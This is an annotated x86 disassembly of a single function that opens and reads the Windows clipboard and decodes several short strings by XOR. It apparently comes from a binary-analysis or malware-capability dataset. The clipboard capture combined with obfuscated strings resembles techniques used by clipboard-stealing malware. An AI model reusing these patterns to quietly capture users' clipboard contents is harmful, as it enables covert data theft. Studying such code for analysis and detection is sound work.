Function at 0x4bef30
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
sub esp, 0x64
mov eax, dword [0x4d700c]
xor eax, esp
mov dword [esp + 0x5c], eax
push ebx
push ebp
push esi
push edi
push 0
mov esi, ecx
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
jne 0x4bef87
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 0
mov dword [esi + 0x10], 0
mov ecx, esi
push 0x4c9469
mov dword [esi + 0x14], 0
call fcn.004b5700
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x5c]
xor ecx, esp
call fcn.004c6ef9
add esp, 0x64
ret
push 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov ebp, eax
test ebp, ebp
je 0x4bef50
push ebp
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov dword [esp + 0x20], eax
xorps xmm0, xmm0
test eax, eax
je 0x4bef53
mov byte [esp + 0x10], 4
mov al, 0x36
xor al, byte [esp + 0x10]
mov cl, 0x56
mov ch, 0x42
mov byte [esp + 0x11], al
mov al, byte [esp + 0x10]
mov dl, 0x30
xor cl, al
mov byte [esp + 0x19], 0
xor ch, al
mov byte [esp + 0x12], cl
mov dh, 0x57
mov byte [esp + 0x16], ch
mov bl, 0x4f
mov byte [esp + 0x19], 0
mov ah, 0x3c
mov dword [esp + 0x4c], 0
xor dl, al
mov dword [esp + 0x50], 0
xor dh, al
mov byte [esp + 0x13], dl
mov bh, 0x60
mov byte [esp + 0x17], dh
xor bl, al
lea ecx, [esp + 0x11]
xor ah, al
mov byte [esp + 0x14], bl
xor bh, al
mov byte [esp + 0x15], ah
mov byte [esp + 0x18], bh
lea edx, [ecx + 1]
movups xmmword [esp + 0x3c], xmm0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4bf018
sub ecx, edx
lea eax, [esp + 0x11]
push ecx
push eax
lea ecx, [esp + 0x44]
call fcn.004b5700
mov al, 0x58
mov byte [esp + 0x10], 1
mov ch, al
mov byte [esp + 0x19], 0
xor al, byte [esp + 0x10]
mov cl, 0x6f
mov byte [esp + 0x11], al
mov dl, 0x53
mov al, byte [esp + 0x10]
mov dh, 0x50
xor cl, al
mov byte [esp + 0x19], 0
xor ch, al
mov byte [esp + 0x12], cl
mov bl, 0x35
mov byte [esp + 0x16], ch
mov ah, 0x6c
mov dword [esp + 0x34], 0
xor dl, al
mov dword [esp + 0x38], 0
xor dh, al
mov byte [esp + 0x13], dl
mov bh, 0x67
mov byte [esp + 0x17], dh
xor bl, al
lea ecx, [esp + 0x11]
xor ah, al
mov byte [esp + 0x14], bl
xor bh, al
mov byte [esp + 0x15], ah
xorps xmm0, xmm0
mov byte [esp + 0x18], bh
movups xmmword [esp + 0x24], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4bf0a4
sub ecx, edx
lea eax, [esp + 0x11]
push ecx
push eax
lea ecx, [esp + 0x2c]
call fcn.004b5700
mov byte [esp + 0x10], 0x4e
mov al, 0x1d
xor al, byte [esp + 0x10]
xor dl, dl
mov dh, 0x2f
mov byte [esp + 0x19], dl
mov byte [esp + 0x11], al
mov cl, 1
mov al, byte [esp + 0x10]
mov ch, 0x7b
xor dl, al
mov byte [esp + 0x19], 0
xor dh, al
mov byte [esp + 0x13], dl
mov bl, 0x17
mov byte [esp + 0x17], dh
mov ah, 0xc
lea edx, [esp + 0x11]
xor cl, al
xor ch, al
mov bh, 0x7e
mov byte [esp + 0x12], cl
xor bl, al
mov byte [esp + 0x16], ch
xor ah, al
mov byte [esp + 0x14], bl
xor bh, al
mov byte [esp + 0x15], ah
mov byte [esp + 0x18], bh
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x4bf117
mov ebx, dword [esp + 0x38]
lea eax, [esp + 0x11]
mov edi, dword [esp + 0x24]
sub edx, ecx
push edx
mov edx, dword [esp + 0x38]
lea ecx, [esp + 0x28]
cmp ebx, 0x10
push eax
cmovae ecx, edi
call fcn.004b5da0
add esp, 8
test al, al
je 0x4bf1e0
mov byte [esp + 0x10], 0x3c
mov al, 0x5f
xor al, byte [esp + 0x10]
mov cl, 0x49
mov byte [esp + 0x11], al
mov dl, 0x7a
mov al, byte [esp + 0x10]
mov ch, 0xd
mov dh, 0x73
mov byte [esp + 0x1f], 0x4b
xor cl, al
mov byte [esp + 0x1a], 0
xor dl, al
mov byte [esp + 0x12], cl
xor ch, al
mov byte [esp + 0x13], dl
xor dh, al
mov byte [esp + 0x16], ch
mov bl, 0x6d
mov byte [esp + 0x17], dh
mov ah, 0x76
mov byte [esp + 0x1a], 0
mov bh, 0x75
lea ecx, [esp + 0x11]
xor bl, al
lea edx, [ecx + 1]
xor ah, al
mov byte [esp + 0x14], bl
xor bh, al
mov byte [esp + 0x15], ah
mov al, byte [esp + 0x1f]
xor al, byte [esp + 0x10]
mov byte [esp + 0x18], bh
mov byte [esp + 0x19], al
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4bf1c0
sub ecx, edx
lea eax, [esp + 0x11]
push ecx
push eax
lea ecx, [esp + 0x2c]
call fcn.004b4cc0
mov ebx, dword [esp + 0x38]
mov edi, dword [esp + 0x24]
cmp ebx, 0x10
jb 0x4bf20c
lea ecx, [ebx + 1]
mov eax, edi
cmp ecx, 0x1000
jb 0x4bf202
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4bf234
push ecx
push edi
call fcn.004c718d
add esp, 8
mov ecx, dword [esp + 0x50]
cmp ecx, 0x10
jb 0x4bf244
mov edx, dword [esp + 0x3c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4bf23a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4bf23a
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.004c718d
add esp, 8
mov edx, dword [esp + 0x20]
xorps xmm0, xmm0
mov ecx, edx
mov dword [esp + 0x64], 0
movups xmmword [esp + 0x54], xmm0
mov dword [esp + 0x68], 0
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4bf265
sub ecx, edi
push ecx
push edx
lea ecx, [esp + 0x5c]
call fcn.004b5700
push ebp
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push dword [0x4d7864]
call dword [sym.imp.USER32.dll_UpdateWindow]
call dword [sym.imp.USER32.dll_CloseClipboard]
movups xmm0, xmmword [esp + 0x54]
mov ecx, dword [esp + 0x6c]
mov eax, esi
pop edi
movups xmmword [esi], xmm0
movq xmm0, qword [esp + 0x60]
movq qword [esi + 0x10], xmm0
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004c6ef9
add esp, 0x64
ret